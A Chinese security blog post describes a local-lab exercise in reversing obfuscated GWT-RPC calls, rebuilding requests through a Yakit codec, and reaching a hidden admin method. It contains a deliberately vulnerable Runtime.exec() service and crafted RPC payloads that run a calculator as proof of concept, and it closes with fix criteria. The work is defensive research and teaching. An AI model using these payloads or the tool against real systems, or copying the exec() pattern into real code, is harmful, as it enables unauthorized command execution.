【Web安全】GWT-RPC 逆向实战:混淆调用还原与请求重构
在实际渗透测试里,偶尔会碰到一种比较难受的情况:请求明明已经抓到了,但真正开始改包时,才发现它并不好下手,GWT-RPC 就是一个比较典型的例子。
本文内容仅供技术学习与交流使用,严禁用于任何非法用途。请遵守《中华人民共和国网络安全法》等相关法律法规,因违规使用产生的一切后果,由使用者自行承担,与作者无关。
引言
在实际渗透测试里,偶尔会碰到一种比较难受的情况:请求明明已经抓到了,但真正开始改包时,才发现它并不好下手。
GWT-RPC 就是一个比较典型的例子。浏览器发出的 HTTP 并没有加密,代理里也能看到完整请求体,但它不像常见的 JSON 接口那样直观。服务名、方法名、类型签名、字符串表和参数值都被组织在一串 | 分隔的 token 里,很多字段之间还通过索引互相引用。只改一个现有字符串通常问题不大,但一旦涉及新增值、替换方法或修改类型,字符串表长度、去重结果和后续索引都可能跟着变化。
我一开始只是想解决一个很实际的问题:怎么把这类请求变成一个可以稳定修改、反复测试的格式。等请求重构跑通以后,问题自然又往前走了一步——既然前端调用的语义可以恢复出来,那么那些页面上没有按钮、也没有直接入口的 RPC 方法,是不是真的就无法访问?
一、GWT-RPC 请求解析
1.1 GWT-RPC 报文结构
实验里的登录请求如下:
POST /gwtlab/auth HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: text/x-gwt-rpc; charset=utf-8
X-GWT-Permutation: F26CD9C9A49C19836F75F29E33F2593B
X-GWT-Module-Base: http://127.0.0.1:8088/gwtlab/
7|0|7|http://127.0.0.1:8088/gwtlab/|FBFA1FF64570A7AD8B98C8AE569B08ED|com.example.client.AuthenticationService|login|java.lang.String/2004016611|admin|password|1|2|3|4|2|5|5|6|7|
这一串内容可以先拆成三部分:
位置 | 内容 | 含义 |
1 |
| RPC 协议版本 |
2 |
| flags |
3 |
| 字符串表长度 |
4-10 | URL、strongName、服务名、方法名、类型签名、参数值 | 字符串表 |
11-14 | `1 | 2 |
15 |
| 参数数量 |
16-17 | `5 | 5` |
18-19 | `6 | 7` |
容易看错的是最后几组数字。它们不是参数值,而是从 1 开始的字符串表索引;类型索引和值索引也不是交错排列,而是先写完全部类型,再写全部值。
所以只把 admin 改成 testuser 还比较简单。如果新值和已有字符串发生去重、参数类型发生变化,或者方法名被替换,字符串表长度和后续索引都要重新计算。很多看起来像“服务端拒绝”的异常,实际只是请求本身已经被手工改坏了。
到这里可以确定,第一个问题并不是 payload 怎么写,而是必须先保证请求本身能够被正确解析和重建。但仅仅知道字符串表和索引还不够。如果后面要替换方法、修改参数类型,甚至构造一条前端没有直接发出的 RPC 调用,还需要知道当前请求对应的服务、方法和参数签名。这些信息最终都要回到浏览器实际加载的 GWT 编译产物里去找。
1.2 实验环境与验证流程
本文使用 GWT 2.10.0 和 Jetty,本地服务监听 127.0.0.1:8088。编译完成后保留 permutation 缓存文件和 .gwt.rpc 策略文件,后续分析均以浏览器实际加载的 permutation 为准,避免混入其他编译产物造成判断偏差。

整个验证过程按四个阶段展开:先确认 GWT-RPC 请求的基本结构,再从 permutation 中定位仍然保留的 RPC 信息;随后恢复服务名、方法名和参数类型,并完成请求解析与重构;最后再把重构后的请求发回服务端,观察真实的方法调用和策略校验结果。
这样安排的原因很直接:如果前面的请求解析和回写还不稳定,后面即使出现 500、方法匹配失败或异常响应,也很难判断问题究竟来自业务逻辑、协议编码,还是字符串表和索引错位。
因此,后面的分析实际上分成两条线:一条解决“这条调用到底是什么”,也就是从 permutation 中恢复 RPC Schema;另一条解决“这条请求怎么稳定修改”,也就是重新处理字符串表、索引和转义。在开始重构请求之前,先看第一个问题:GWT 编译并混淆以后,这些 RPC 调用信息还剩多少。
1.3 混淆代码中的 RPC 语义保留
GWT 会把 Java 编译成浏览器执行的 JavaScript。函数名和局部变量名可以被压得很短,但 RPC 运行时仍然需要服务接口、方法名和 Java 类型信息。这些内容可能被放进短变量或对象字段,却不会因为标识符混淆就消失。
编译前的一次登录调用大致是这样:
function $login_0(this$static, username, password, callback) {
var helper, streamWriter;
helper = new RemoteServiceProxy$ServiceHelper(
this$static, 'AuthenticationService_Proxy', 'login');
try {
streamWriter = $start(
helper, 'com.example.client.AuthenticationService', 2);
$append(streamWriter,
'' + $addString(streamWriter, 'java.lang.String/2004016611'));
$append(streamWriter,
'' + $addString(streamWriter, 'java.lang.String/2004016611'));
$append(streamWriter, '' + $addString(streamWriter, username));
$append(streamWriter, '' + $addString(streamWriter, password));
$finish_0(helper, callback, ...);
} catch ($e0) { ... }
}混淆以后会变成类似下面的形式:
function Cd(b,c,d,e){
var f,g;
f=new yu(b,iH,'login');
try{
g=xu(f,jH,2);
nu(g,''+cu(g,cH));
nu(g,''+cu(g,cH));
nu(g,''+cu(g,c));
nu(g,''+cu(g,d));
wu(f,e,(Nu(),Ju))
}
catch(a){
a=Xq(a);
if(!bl(a,12))throw Yq(a)
}
}单看 cu(g,cH) 很难知道它到底是类型签名还是普通字符串,但在完整 permutation 里继续查,可以看到服务名、方法名和 Java 类型签名仍然存在。

这里得到的结论不是“GWT 混淆很弱”,而是更具体的一点:标识符被压缩以后,阅读路径变了,但完成 RPC 组包所需的协议语义仍然要在运行时存在。
既然这些信息还在,接下来的问题就是能不能自动把它们提取出来。相比手工在大段 permutation 里追短变量,优先尝试现有工具更合理。我首先测试了 GWTMap,但显然--它给出的结果和前面的字符串搜索并不一致。
二、GWTMap 解析失效分析
2.1 GWTMap 识别结果
GWT-RPC 相关工具并不少,但它们解决的问题不完全一样:
工具 | 主要能力 | 本次复现中的限制 |
GDS GWTEnum/GWTParse/GWTFuzzer | 枚举方法、解析参数、结合 Burp 变异 | 更偏早期 GWT 输出,对当前 |
Gwt.py | 枚举方法并生成 RPC payload | 依赖非混淆代码,服务路径关系也需要额外补齐 |
GWTab | 在已有请求中高亮参数 | 适合修改已知请求,不能解决未知方法枚举 |
GWTMap | 解析混淆 permutation 并生成 RPC 请求 | 当前 GWT 2.10.0 样本中没有识别出服务和方法 |
GWTMap 对当前样本的输出是:
[+] Services Found
====================
No services were identified!
[+] Methods Found
====================
No methods were identified!
但前面已经确认,服务名、方法名和类型签名确实还在 permutation 中。所以“工具没识别出来”和“前端没有 RPC 信息”是两回事。
2.2 GWTMap 解析机制与失效原因
继续看 GWTMap 的源码,它的流程大致是:
压缩 JS
→ clean_code() 重排代码
→ 逐行正则匹配
→ find_value() 回溯变量
→ 生成服务和方法对象几个关键点比较明显。
extract_method_signature() 会依赖固定行偏移,先 line += 5 跳到预期位置,再找 catch(,最后按 (offset - 2) / 2 推算参数数量。代码布局、换行和异常处理结构一变,参数边界就可能偏掉。
源码位置:
更关键的是 find_value()。它只做一次、单行、首个命中的赋值查找,而当前样本里的方法名存在这种间接关系:
d.b → this.b → 'login'
所以问题不是“给 GWTMap 再补一条 regex”就能解决。它把固定代码布局、固定调用位置和单层变量回溯当成了输入前提,而 GWT 2.10.0 的当前输出把这些关系拆到了对象字段、全局变量和调用点里。
问题定位到这里,处理思路也就比较明确了:RPC 信息并没有消失,只是原来的工具没有能力重新建立这些跨变量、跨字段的关系。与其继续修补表面正则,不如直接从 RPC 组包调用出发,沿实参和赋值关系反向追数据流。
三、混淆调用链与 RPC Schema 恢复
3.1 调用参数数据流分析
先把同一次 RPC 调用相关的片段放到一起,可以看到下面这组关系:
// 类型签名
To = 'java.lang.String/2004016611';
// 方法代理对象
function zi(a) {
this.a = 'AuthenticationService_Proxy.login';
this.b = 'login';
}
// RPC 组包调用
function F() {
ki(d.d, 'com.example.client.AuthenticationService');
ki(d.d, d.b);
ui(d.d.a, '2');
qi(f, ji(f, To));
qi(f, ji(f, To));
}这里没必要先给 ki、ui、ji 这些短函数重新命名。对恢复当前调用来说,更直接的做法是顺着实参关系看:
ki(d.d, 'com.example.client.AuthenticationService')给出服务接口。ki(d.d, d.b)继续追d.b,在代理对象初始化位置落到this.b = 'login'。To保存java.lang.String/2004016611,并被写入两次。ui(d.d.a, '2')给出参数数量。
恢复出的最小 Schema 是:
service: com.example.client.AuthenticationService
method: login
param 0: java.lang.String/2004016611
param 1: java.lang.String/2004016611
count: 2
这套恢复过程可以概括成一个很小的逆向流程:先找 RPC 组包调用作为 sink,再分别追服务字面量、方法字段、类型变量和参数数量。它不要求先知道每个短函数的原始名字,重点是把一次调用的语义重新拼完整。
不过,静态恢复出来的 Schema 还需要再确认一次。混淆代码里的字符串和调用关系只能说明“推断结果合理”,要证明这些字段真的参与了服务端的方法匹配,还需要一个动态反馈。
3.2 服务端反馈校验
这里保持服务和方法不变,只修改第一个参数的类型签名,观察服务端实际如何匹配方法。
把第一个参数从:
java.lang.String/2004016611改成:
java.lang.Integer/3438268394服务端会按新的签名寻找方法:
Could not locate requested method 'login(java.lang.Integer, java.lang.String)'
in interface 'com.example.client.AuthenticationService'
同样,把方法改成 logout,错误里会出现 logout(String, String);把服务接口换成 AdminService,服务端会提示该接口没有由当前 servlet 对应的实现类实现。
这些异常本身不是漏洞,但能反过来验证三件事:方法名是否真正进入服务端匹配、参数类型是否进入方法签名、服务接口是否落到了正确的实现类。这样恢复结果就不只是“看着像”,而是有静态和动态两条证据链。
3.3 Schema 恢复边界
这里恢复的是当前 permutation、当前调用里的最小 Schema,不是一个“任何 GWT 文件都能自动还原”的结论。
如果输入里只有方法定义,没有服务调用;或者 deferred fragment 没有合并;又或者调用点被截断,那么最多只能拿到部分字段。遇到这种情况,结果应该标记成不完整,而不是硬拼一个 RPC 请求。
到这里已经解决了“这条 RPC 调用是什么”的问题,但最开始那个“请求不好改”的问题其实还没有解决。即使已经知道 AuthenticationService.login(String,String),原始管道报文仍然受字符串表、索引和转义规则约束,直接在 Repeater 里维护并不可靠。
所以下一步不再继续分析 JavaScript,而是回到最初那条 HTTP 请求:把已经恢复出的 Schema 放进一个稳定的中间表示,再由编码层负责重新生成合法的 GWT-RPC。
四、GWT-RPC 请求中间表示与重构
4.1 Shadow Request 中间表示设计
直接在 Burp Repeater 里维护 GWT-RPC,主要有三个麻烦:
- 参数值通过字符串表索引间接引用;
- 字符串表要去重,新值可能复用已有索引;
|和反斜杠需要按 GWT-RPC 规则转义。
手工修改一次可以,连续 fuzz 很快就会变得不可靠。所以我没有继续在原始报文上做字符串替换,而是在中间加了一层 Shadow Request。
原始请求:
7|0|7|...|AuthenticationService|login|java.lang.String/2004016611|admin|password|1|2|3|4|2|5|5|6|7|先转成可读 JSON:
{
"version": 7,
"flags": 0,
"baseUrl": "http://127.0.0.1:8088/gwtlab/",
"strongName": "FBFA1FF64570A7AD8B98C8AE569B08ED",
"service": "com.example.client.AuthenticationService",
"method": "login",
"params": [
{
"type": "java.lang.String",
"signature": "java.lang.String/2004016611",
"value": "admin"
},
{
"type": "java.lang.String",
"signature": "java.lang.String/2004016611",
"value": "password"
}
]
}普通参数变异只改 params[].value。字符串表、去重、索引和转义都不再由人维护。
有了这层中间表示以后,问题就被拆开了:Inlet 只负责把原始 GWT-RPC 解析成 Shadow Request,Egress 只负责把修改后的 Shadow Request 重新编码成合法报文。业务参数的修改不再和协议细节混在一起。
4.2 Inlet/Egress 编解码流程
整个流程如下:
浏览器原始 GWT-RPC
↓
Inlet:管道报文 → JSON Shadow Request
↓
人工 / Burp / Fuzzer 修改 params[].value
↓
Egress:JSON → 合法 GWT-RPC
↓
重新计算字符串表、索引和转义
↓
发送服务端我用 Yakit Codec 实现这层转换。第一次执行 Codec 时把完整 HTTP 包里的 GWT-RPC body 解析成 JSON;改完参数后再执行一次,重新编译成 text/x-gwt-rpc 请求。Content-Length 交给 Yakit 重新计算。

当前原型明确限制在本文实际验证过的类型范围:String、用于方法/类型探测的 Integer/Boolean/Gadget,以及靶机中的 Task 对象。它不是一个完整的 GWT-RPC 通用序列化库,数组和其他复杂对象仍需要按各自规则扩展。
Inlet 相对直接,真正容易出错的是 Egress。因为一旦 JSON 中的值发生变化,字符串表是否需要新增条目、是否可以复用旧索引、转义后长度是否变化,都要重新计算。
4.3 字符串表去重与索引重算
回写时不能直接把 JSON 字段按顺序拼回去,而是要重新建立字符串表。
例如两个参数的类型都是:
java.lang.String/2004016611字符串表只保留一份,两个类型索引都指向同一项。如果参数值正好等于方法名 login,也应该复用方法名已有的索引,而不是再追加一个重复字符串。

我用下面几个边界用例检查这部分:
用例 | 场景 | 结果 |
same-value | 两参数值均为 | 去重为 1 项 |
value-collides-method | 值为 | 复用 method 索引 |
value-collides-sig | 值等于类型签名 | 复用 signature 索引 |
value-collides-baseurl | 值等于 baseUrl | 复用 baseUrl 索引 |
triple-same-value | 三个参数同值 | 只保留 1 项 |
empty-string | 空字符串 | 正常处理 |
pipe-in-value | 值为 `a | b` |
这些边界用例只能说明编码器在局部规则上没有明显问题,还不能证明一条完整请求经过“解析 → 修改 → 回写”后仍然能被服务端正常接受。最后还需要做一次真正的 round-trip。
4.4 Round-trip 保真验证
先从不修改任何业务字段的基线请求开始:
原始报文: 7|0|7|...|admin|password|...|5|5|6|7|
回写报文: 7|0|7|...|admin|password|...|5|5|6|7|
匹配: True之后只把用户名从 admin 改成 testuser:
"params": [
{
"type": "java.lang.String",
"signature": "java.lang.String/2004016611",
"value": "testuser"
},
{
"type": "java.lang.String",
"signature": "java.lang.String/2004016611",
"value": "password"
}
]Egress 重新生成:
7|0|7|http://127.0.0.1:8088/gwtlab/|FBFA1FF64570A7AD8B98C8AE569B08ED|com.example.client.AuthenticationService|login|java.lang.String/2004016611|testuser|password|1|2|3|4|2|5|5|6|7|原始和变异请求都返回 HTTP 200,区别只在业务结果:
原始: //OK[1,["OK: logged in as admin"],0,7]
变异: //OK[1,["FAIL: invalid credentials"],0,7]
到这里能证明的只有两件事:协议回写是正确的,参数变异确实到达了业务方法。它并不能证明登录接口有注入或越权。后面真正值得看的,是前端之外的 RPC 服务边界。
五、服务端调用边界与序列化策略
到这里,协议层的问题基本解决了:已知 Schema 可以稳定重构成合法请求,参数修改也能够真实到达业务方法。接下来才适合把测试重点从“请求能不能发出去”转到“服务端到底允许调用什么”。
5.1 隐藏服务方法调用
实验靶机里额外实现了一个 AdminService。前端 EntryPoint 没有调用它,页面上也没有管理入口,但 servlet 仍然注册在 /gwtlab/admin。
核心实现可以简化成:
public class AdminServiceImpl extends RemoteServiceServlet
implements AdminService {
public String runCommand(String command) throws Exception {
Runtime.getRuntime().exec(command);
return "executed: " + command;
}
public String processTask(Task task) throws Exception {
if ("system".equals(task.getName())) {
return runCommand(task.getCommand());
}
return "ignored";
}
}对应部署映射:
<servlet>
<servlet-name>adminService</servlet-name>
<servlet-class>com.example.server.AdminServiceImpl</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>adminService</servlet-name>
<url-pattern>/gwtlab/admin</url-pattern>
</servlet-mapping>
从新的 permutation 中恢复 AdminService 的 Schema 后,构造 Shadow Request:
{
"version": 7,
"flags": 0,
"baseUrl": "http://127.0.0.1:8088/gwtlab/",
"strongName": "5673EE239E1CAE627B9A203C33398A18",
"service": "com.example.client.AdminService",
"method": "runCommand",
"params": [
{
"type": "java.lang.String",
"signature": "java.lang.String/2004016611",
"value": "open -a Calculator"
}
]
}Egress 生成:
7|0|6|http://127.0.0.1:8088/gwtlab/|5673EE239E1CAE627B9A203C33398A18|com.example.client.AdminService|runCommand|java.lang.String/2004016611|open -a Calculator|1|2|3|4|1|5|6|发送到 /gwtlab/admin 后返回:
//OK[1,["executed: open -a Calculator"],0,7]

这里的重点不是“GWT-RPC 自带 RCE”。runCommand() 本身就是靶机里人为放置的危险方法。这个实验真正验证的是:前端没有 UI 入口,并不等于服务端方法不可达。只要 RPC Schema、端点和参数签名已知,最终边界仍然是服务端的方法授权。
不过,方法可达并不意味着客户端可以随意构造任意参数。GWT-RPC 在真正进入业务方法之前,还要根据请求中的类型签名完成方法匹配和参数反序列化。既然现在 Schema 可以主动修改,下一步正好可以观察服务端对这些类型信息的校验发生在哪一层。
5.2 类型签名校验与错误反馈
这里不再只改参数值,而是直接修改类型签名和调用元数据,观察服务端在不同阶段如何拒绝请求:
篡改内容 | HTTP 状态 | server.log |
| 500 |
|
| 500 |
|
| 500 |
|
method → | 500 |
|
service → | 500 |
|

服务端确实会校验类型,但错误信息同时也会回显方法签名、接口名和实现类。对授权测试来说,这些信息可以拿来校准前面恢复的 Schema;它是反馈信号,不是权限控制。
复杂对象还有一个更容易踩坑的点。processTask(Task task) 里的 Task 在 Java 源码中可能先声明 name、再声明 command,但 GWT-RPC 序列化时不能直接假设按源码声明顺序写字段。
追到 GWT 2.10.0 的实现:
- SerializabilityUtil.java FIELD_COMPARATOR
- SerializabilityUtil.java 字段获取与排序
- ServerSerializationStreamReader.java 字段读取
getDeclaredFields() 的返回顺序本身不应作为跨 JVM 的稳定协议依据,所以 GWT 会对字段做显式排序。当前 Task 中,command 按字母序排在 name 前面,因此 payload 也要先写 command 的值。

构造后的对象参数请求:
7|0|7|http://127.0.0.1:8088/gwtlab/|5673EE239E1CAE627B9A203C33398A18|com.example.client.AdminService|processTask|com.example.shared.Task/62376796|open -a Calculator|system|1|2|3|4|1|5|5|6|7|
服务端返回:
//OK[1,["executed: open -a Calculator"],0,7]
这个实验验证的是当前 Task 对象的字段编码和业务调用路径,不应扩展成“任意对象都可以反序列化利用”。
到这里可以看到,错误类型并不是完全不受约束,服务端确实存在方法匹配和类型解析边界。继续往下追,这些类型限制最终又会落到当前 permutation 对应的 serialization policy 上。于是还剩一个关键问题:如果请求里的 strongName 找不到对应策略文件,服务端会直接拒绝,还是会走其他分支继续处理?
5.3 strongName 校验与序列化策略回退
strongName 用于定位当前 permutation 对应的 .gwt.rpc 序列化策略文件,本身不是身份凭证。
在当前靶机配置下,测试结果如下:
场景 | strongName | 服务端行为 |
正确策略 |
| 接受并执行 |
旧策略 |
| 接受并执行 |
无对应策略文件 |
| 接受并继续处理 |
策略文件不存在时,请求没有直接被拒绝。沿 GWT 2.10.0 源码往下看,调用链可以简化成:
HTTP 请求
→ AbstractRemoteServiceServlet.doPost()
→ RemoteServiceServlet.processPost()
→ RemoteServiceServlet.processCall(payload)
→ checkPermutationStrongName()
→ RPC.decodeRequest(...)
→ ServerSerializationStreamReader.prepareToRead()
→ 读取 strongName
→ getSerializationPolicy()
→ loadSerializationPolicy()
→ getResourceAsStream(path)
→ policy == null
→ getDefaultSerializationPolicy()
→ LegacySerializationPolicy第一处 checkPermutationStrongName() 主要检查请求头里是否存在 permutation strongName,并不证明对应策略文件真实存在:
策略文件加载失败时,loadSerializationPolicy() 返回 null:

之后 getSerializationPolicy() 会继续取默认策略:

这里更准确的说法不是“strongName 被绕过了鉴权”,而是:当前配置下,策略文件缺失之后没有 fail-close,而是回退到 LegacySerializationPolicy 继续解码。
StandardSerializationPolicy 和 LegacySerializationPolicy 也不是“校验”和“完全不校验”的区别。前者会使用当前策略文件里的逐类型白名单;Legacy 模式仍有可实例化、IsSerializable、自定义序列化器等约束,只是不再使用当前 permutation 对应的那份逐类型白名单。
所以这条链不能单独推出 RCE。是否能继续形成实际利用,还取决于服务端有哪些可达方法、有哪些可实例化类型,以及业务代码最终把这些对象送到哪里。
本文靶机之所以能看到命令执行,是因为 AdminService 本身存在一个直接调用 Runtime.getRuntime().exec() 的危险方法。授权缺失和策略回退是两条不同的安全边界,不能合并成一个笼统的“GWT-RPC 漏洞”。
分析到这里,问题已经可以明确拆成两个位置:一是 RPC 方法调用前有没有做真正的权限判断;二是 serialization policy 加载失败时有没有及时终止请求。后面的修复和复测也应该分别围绕这两个边界展开,而不是只看前端入口是否消失,或者异常请求最终有没有返回 500。
六、修复验证
6.1 方法级授权验证
页面上删掉管理按钮没有意义。只要 servlet 端点还在,普通身份就可能直接构造 RPC 请求。
修复后至少验证三件事:普通身份发送已知管理方法请求时被拒绝;拒绝发生在进入 Runtime.getRuntime().exec() 之前;服务端日志记录的是授权失败,而不是方法已经执行后再隐藏响应。
方法授权解决的是“谁可以调用”,另一条线还需要确认“策略文件失效时请求会不会继续被反序列化”。
6.2 序列化策略加载失败验证
strongName 对应的策略文件不存在、读取失败或解析失败时,请求应该在反序列化之前结束,不能继续回退到默认 Legacy 策略。
复测至少包括:有效 strongName 的正常请求仍然可用;全零或不存在的 strongName 被明确拒绝;日志能区分“策略不存在”和“业务方法异常”;失败请求没有进入对象实例化和方法调用。
把这两条修复线放到一起,最终可以收敛成三个检查位置。
6.3 修复复测标准
检查位置 | 需要验证的内容 | 预期结果 |
方法调用前 | 当前身份是否有权调用管理服务和管理方法 | 无权请求直接拒绝 |
反序列化前 | strongName 是否能定位到当前模块的真实策略文件 | 不存在时拒绝,不回退 |
类型解析时 | 请求类型是否在业务真正需要的范围内 | 未登记类型在实例化前拒绝 |
修复验证最好同时保存请求、响应和服务端日志。只看浏览器有没有弹错,无法确认请求究竟在哪一层被挡住。
七、总结
这次复现最开始只是为了把一条难改的 GWT-RPC 请求变得可维护。真正往下做以后才发现,请求重构只是中间步骤,前面还要先解决调用语义,后面才能继续看服务端边界。
GWT 的混淆会压缩函数名和变量名,但 RPC 组包需要的服务、方法和类型信息仍然存在。GWTMap 在当前样本上没有恢复出这些内容,原因也不在于“信息被彻底混淆掉了”,而是它依赖固定代码布局和单层变量回溯。沿调用点、对象字段和变量赋值重新追数据流后,当前调用需要的 Schema 仍然能够恢复出来。
Schema 恢复以后,原始管道报文的字符串表、索引和转义又成了新的限制,所以我把它转换成 Shadow Request,再由 Inlet/Egress 负责协议层回写。只有 round-trip 能稳定通过,后面的异常响应、方法匹配和类型校验才有分析价值。
最后真正暴露出来的并不是一个笼统的“GWT-RPC 漏洞”,而是两个更具体的服务端问题:前端没有入口的 RPC 方法仍然需要方法级授权;serialization policy 加载失败时也应该明确 fail-close,而不是依赖默认回退继续处理请求。
这也是这次复现里最有价值的一点:先把协议噪声处理掉,再看服务端到底信任了什么。请求一旦能够稳定重建,原本藏在复杂编码后面的授权和反序列化边界就会清楚很多。
附录:Yakit Codec 实现(gwt_rpc_shadow.yak)
下面是本文实验使用的完整 Yakit Codec。当前实现按本文样本支持 String、Integer/Boolean/Gadget 探测类型以及 com.example.shared.Task,其他复杂对象需要继续扩展编码规则。
/*
GWT-RPC Shadow Request for Yakit
第一次执行:
原始 GWT-RPC 请求 -> JSON 影子请求
第二次执行:
JSON 影子请求 -> GWT-RPC 请求
当前处理:
1. String 参数
2. Integer、Gadget 类型探测
3. com.example.shared.Task 对象
*/
gwtEscape = func(s) {
// 管道符是 GWT-RPC 的分隔符,需要转义成 \!
// 反斜杠需要先处理,避免后续解析产生歧义。
s = str.ReplaceAll(s, "\\", "\\\\")
return str.ReplaceAll(s, "|", "\\!")
}
gwtUnescape = func(s) {
// 将字符串表中的转义内容还原成原始值。
result = ""
pos = 0
for pos < len(s) {
if s[pos] == "\\" && pos+1 < len(s) {
if s[pos+1] == "!" {
result = result + "|"
pos = pos + 2
continue
}
if s[pos+1] == "\\" {
result = result + "\\"
pos = pos + 2
continue
}
}
result = result + s[pos]
pos++
}
return result
}
isStringSignature = func(signature) {
return str.HasPrefix(signature, "java.lang.String/")
}
isTaskSignature = func(signature) {
// 识别 Task 对象,后面按 command、name 两个字段读取。
return str.HasPrefix(signature, "com.example.shared.Task/")
}
isProbeSignature = func(signature) {
// 这些类型用于观察服务端的方法匹配和类型解析结果。
return str.HasPrefix(signature, "java.lang.Integer/") ||
str.HasPrefix(signature, "java.lang.Boolean/") ||
str.HasPrefix(signature, "com.evil.Gadget/")
}
isSupportedSignature = func(signature) {
return isStringSignature(signature) ||
isTaskSignature(signature) ||
isProbeSignature(signature)
}
typeName = func(signature) {
parts = str.Split(signature, "/")
if len(parts) > 0 {
return parts[0]
}
return signature
}
inlet = func(body) {
// GWT-RPC v7 的主体依次包含:
// version、flags、字符串表、元数据索引和参数区。
tokens = str.Split(str.TrimSpace(body), "|")
if len(tokens) > 0 && tokens[len(tokens)-1] == "" {
tokens = tokens[:len(tokens)-1]
}
pos = 0
version = int(tokens[pos])
pos++
flags = int(tokens[pos])
pos++
tableLen = int(tokens[pos])
pos++
// 读取字符串表。
table = []
for i=0; i<tableLen; i++ {
table = append(table, gwtUnescape(tokens[pos]))
pos++
}
// 元数据索引从 1 开始,读取数组时需要减 1。
baseURLIndex = int(tokens[pos])
pos++
strongNameIndex = int(tokens[pos])
pos++
serviceIndex = int(tokens[pos])
pos++
methodIndex = int(tokens[pos])
pos++
paramCount = int(tokens[pos])
pos++
// 参数类型索引集中排列在参数区前面。
typeIndices = []
for i=0; i<paramCount; i++ {
typeIndices = append(typeIndices, int(tokens[pos]))
pos++
}
params = []
for i=0; i<paramCount; i++ {
signature = table[typeIndices[i]-1]
if !isSupportedSignature(signature) {
return nil
}
if isTaskSignature(signature) {
// Task 的两个字段按 command、name 顺序写入。
if pos+1 >= len(tokens) {
return nil
}
commandIndex = int(tokens[pos])
pos++
nameIndex = int(tokens[pos])
pos++
if commandIndex < 1 || commandIndex > len(table) ||
nameIndex < 1 || nameIndex > len(table) {
return nil
}
params = append(params, {
"type": typeName(signature),
"signature": signature,
"value": {
"command": table[commandIndex-1],
"name": table[nameIndex-1],
},
})
continue
}
// String、Integer 和 Gadget 探测包都从字符串表读取值。
if pos >= len(tokens) {
return nil
}
valueIndex = int(tokens[pos])
pos++
if valueIndex < 1 || valueIndex > len(table) {
return nil
}
params = append(params, {
"type": typeName(signature),
"signature": signature,
"value": table[valueIndex-1],
})
}
return {
"_gwtRpcShadow": true,
"version": version,
"flags": flags,
"baseUrl": table[baseURLIndex-1],
"strongName": table[strongNameIndex-1],
"service": table[serviceIndex-1],
"method": table[methodIndex-1],
"params": params,
}
}
egress = func(shadow) {
// 回写时重新建立字符串表,并同步生成所有索引。
table = []
indexByValue = {}
addString = func(value) {
if value in indexByValue {
return int(indexByValue[value])
}
table = append(table, value)
index = len(table)
indexByValue[value] = index
return index
}
baseURLIndex = addString(shadow["baseUrl"])
strongNameIndex = addString(shadow["strongName"])
serviceIndex = addString(shadow["service"])
methodIndex = addString(shadow["method"])
typeIndices = []
encodedValues = []
for p in shadow["params"] {
signature = p["signature"]
if !isSupportedSignature(signature) {
return nil
}
typeIndices = append(typeIndices, addString(signature))
if isTaskSignature(signature) {
task = p["value"]
if task == nil ||
task["command"] == nil ||
task["name"] == nil {
return nil
}
// Task 字段按照 command、name 顺序写回。
encodedValues = append(
encodedValues,
addString(string(task["command"])),
)
encodedValues = append(
encodedValues,
addString(string(task["name"])),
)
continue
}
// 普通参数和类型探测参数写入一个字符串表索引。
encodedValues = append(
encodedValues,
addString(string(p["value"])),
)
}
parts = [
string(shadow["version"]),
string(shadow["flags"]),
string(len(table)),
]
for value in table {
parts = append(parts, gwtEscape(value))
}
parts = append(
parts,
string(baseURLIndex),
string(strongNameIndex),
string(serviceIndex),
string(methodIndex),
string(len(shadow["params"])),
)
for index in typeIndices {
parts = append(parts, string(index))
}
for index in encodedValues {
parts = append(parts, string(index))
}
return str.Join(parts, "|") + "|"
}
handle = func(input) {
packet = input
_, bodyBytes = poc.Split(packet)
body = string(bodyBytes)
trimmed = str.TrimSpace(body)
// 第一次执行:GWT-RPC 请求转换为 JSON 影子请求。
if str.HasPrefix(trimmed, "7|") {
shadow = inlet(trimmed)
if shadow == nil {
log.warn("GWT-RPC request parse failed")
return input
}
newBody = json.dumps(
shadow,
json.withIndent(" "),
)
// 转成 JSON 后修改 Content-Type。
packet = poc.ReplaceHTTPPacketHeader(
packet,
"Content-Type",
"application/json; charset=utf-8",
)
// Yakit 会同步更新 Content-Length。
packet = poc.ReplaceHTTPPacketBody(
packet,
newBody,
)
return string(packet)
}
// 第二次执行:JSON 影子请求回写为 GWT-RPC 请求。
if str.HasPrefix(trimmed, "{") {
shadow = json.loads(trimmed)
if shadow == nil {
return input
}
if shadow["_gwtRpcShadow"] != true {
return input
}
newBody = egress(shadow)
if newBody == nil {
log.warn("GWT-RPC request rebuild failed")
return input
}
// 回写后恢复 GWT-RPC 的 Content-Type。
packet = poc.ReplaceHTTPPacketHeader(
packet,
"Content-Type",
"text/x-gwt-rpc; charset=UTF-8",
)
packet = poc.ReplaceHTTPPacketBody(
packet,
newBody,
)
return string(packet)
}
return input
}参考资料
- Google Web Toolkit 2.10.0 及 GWT-RPC Wire Protocol 相关资料。
- FSecureLABS/GWTMap,正文重点引用了响应分类、方法签名提取、方法信息提取和变量回溯部分。

太牛了!